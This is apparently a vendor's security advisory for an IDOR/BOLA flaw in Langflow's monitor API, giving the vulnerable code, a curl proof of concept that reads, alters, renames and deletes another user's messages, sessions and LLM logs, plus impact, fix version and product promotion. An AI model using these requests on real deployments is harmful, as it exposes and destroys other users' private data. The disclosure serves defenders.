GHSA-9c59-2mvc-vfr8
HIGHGHSA-9c59-2mvc-vfr8 is a high-severity (CVSS 8.8) CWE-639 vulnerability in langflow. O3 Security confirms whether GHSA-9c59-2mvc-vfr8 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Langflow: IDOR/BOLA in Monitor API — Missing Ownership Enforcement on 7 Endpoints
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-9c59-2mvc-vfr8.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-9c59-2mvc-vfr8 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 358,265 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
langflowReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Langflow's /api/v1/monitor router exposes 7 endpoints that perform read, write, and delete operations on user-owned resources — messages, sessions, build artifacts, and LLM transaction logs — without verifying that the authenticated requester owns the targeted resource. Any authenticated user can read, modify, rename, or permanently delete another user's data by supplying the target's resource ID or flow_id. This is a classic IDOR/BOLA vulnerability. Notably, the same source file (monitor.py) contains one correctly-implemented endpoint that uses an ownership check, demonstrating the correct pattern was known but inconsistently applied.
Details
Source file: src/backend/base/langflow/api/v1/monitor.py
The correct pattern (used only in GET /monitor/messages, lines 77–80):
stmt = select(MessageTable)
stmt = stmt.join(Flow, MessageTable.flow_id == Flow.id)
stmt = stmt.where(Flow.user_id == current_user.id) # ownership enforced
All 7 vulnerable endpoints are missing this guard:
1. GET /api/v1/monitor/builds (lines 27–33) — reads build data for any flow_id:
@router.get("/builds", dependencies=[Depends(get_current_active_user)])
async def get_vertex_builds(flow_id: Annotated[UUID, Query()], session: DbSession):
vertex_builds = await get_vertex_builds_by_flow_id(session, flow_id) # no ownership check
return VertexBuildMapModel.from_list_of_dicts(vertex_builds)
2. DELETE /api/v1/monitor/messages (lines 102–107) — deletes any message by UUID:
@router.delete("/messages", status_code=204, dependencies=[Depends(get_current_active_user)])
async def delete_messages(message_ids: list[UUID], session: DbSession):
await session.exec(delete(MessageTable).where(MessageTable.id.in_(message_ids)))
# message_ids accepted verbatim, no ownership check
3. PUT /api/v1/monitor/messages/{message_id} (lines 110–134) — overwrites any message:
db_message = await session.get(MessageTable, message_id)
# no check: db_message.flow_id → Flow.user_id == current_user.id
db_message.sqlmodel_update(message_dict)
4. PATCH /api/v1/monitor/messages/session/{old_session_id} (lines 137–171) — renames any session:
stmt = select(MessageTable).where(MessageTable.session_id == old_session_id)
# no JOIN to Flow, no WHERE Flow.user_id == current_user.id
5. DELETE /api/v1/monitor/messages/session/{session_id} (lines 174–188) — bulk-deletes any session:
await session.exec(
delete(MessageTable).where(col(MessageTable.session_id) == session_id)
# no ownership filter
)
6. GET /api/v1/monitor/transactions (lines 191–211) — reads LLM prompt/response logs for any flow_id:
stmt = select(TransactionTable).where(TransactionTable.flow_id == flow_id)
# no JOIN to Flow, no WHERE Flow.user_id == current_user.id
7. DELETE /api/v1/monitor/builds — deletes build records for any flow_id:
Shares the same root cause as endpoint #1 (GET /builds): flow_id is accepted as a bare query parameter and passed to the deletion path without a WHERE Flow.user_id == current_user.id ownership check, so any authenticated user can destroy another user's build artifacts.
PoC
Tested on Langflow v1.7.3 (langflowai/langflow:1.7.3) with two accounts: langflow (victim) and attacker_test (attacker).
# Setup: authenticate both users
TOKEN=$(curl -s -X POST http://localhost:7860/api/v1/login \
-d "username=langflow&password=langflow" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
ATTKR=$(curl -s -X POST http://localhost:7860/api/v1/login \
-d "username=attacker_test&password=Attacker123" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
# Victim creates a flow (attacker only needs to know the flow_id — obtainable via brute force or enumeration)
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
-H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
-d '{"name":"victim-flow","data":{"nodes":[],"edges":[]}}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")
# PoC 1: Read victim's LLM transaction logs (prompts + model responses)
curl -s "http://localhost:7860/api/v1/monitor/transactions?flow_id=$FLOW_ID" \
-H "Authorization: Bearer $ATTKR"
# HTTP 200 — full transaction log returned including user prompts and model responses
# PoC 2: Read victim's build data
curl -s "http://localhost:7860/api/v1/monitor/builds?flow_id=$FLOW_ID" \
-H "Authorization: Bearer $ATTKR"
# HTTP 200
# PoC 3: Delete victim's message (MESSAGE_ID obtained from transaction log above)
curl -s -X DELETE "http://localhost:7860/api/v1/monitor/messages" \
-H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \
-d '["<victim_message_id>"]'
# HTTP 204 — message deleted
# PoC 4: Tamper with victim's message content
curl -s -X PUT "http://localhost:7860/api/v1/monitor/messages/<victim_message_id>" \
-H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \
-d '{"text":"TAMPERED BY ATTACKER"}'
# HTTP 200 — message overwritten, "edit":true set
# PoC 5: Rename victim's session
curl -s -X PATCH \
"http://localhost:7860/api/v1/monitor/messages/session/victim-session-1?new_session_id=attacker-controlled" \
-H "Authorization: Bearer $ATTKR"
# HTTP 200 — session renamed
# PoC 6: Bulk-delete victim's entire session
curl -s -X DELETE \
"http://localhost:7860/api/v1/monitor/messages/session/victim-session-2" \
-H "Authorization: Bearer $ATTKR"
# HTTP 204 — entire session deleted
All 6 demonstrated attack vectors confirmed (the 7th, DELETE /builds, shares the GET /builds root cause and was not separately scripted). After attacker operations: victim's message text read "TAMPERED BY ATTACKER", session renamed to attacker-controlled name, second session completely deleted.
Impact
This vulnerability affects any Langflow deployment with multiple users (team instances, SaaS deployments, enterprise self-hosted).
Confidentiality: GET /transactions exposes the full LLM conversation history — user-submitted prompts and model responses — for any flow by flow_id. In healthcare, legal, financial, or HR deployments this directly exposes sensitive and potentially regulated data (HIPAA, GDPR). GET /builds exposes internal workflow execution state.
Integrity: PUT /messages/{id} allows rewriting any stored message, corrupting chat history, audit trails, and RAG-indexed memory. PATCH /messages/session/{id} allows renaming sessions, breaking session continuity and potentially injecting victim context into attacker-controlled namespaces.
Availability: DELETE /messages and DELETE /messages/session/{id} enable permanent, irreversible destruction of another user's conversation history and LLM logs. No recovery mechanism exists once data is deleted.
Any registered user account (including self-registered accounts if registration is open) has unrestricted cross-user access to all 6 operations against any other user's data.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | langflow | all versions | 1.9.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for langflow. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update langflow to 1.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9c59-2mvc-vfr8 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9c59-2mvc-vfr8 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9c59-2mvc-vfr8. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9c59-2mvc-vfr8 in your dependencies?
O3 detects GHSA-9c59-2mvc-vfr8 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.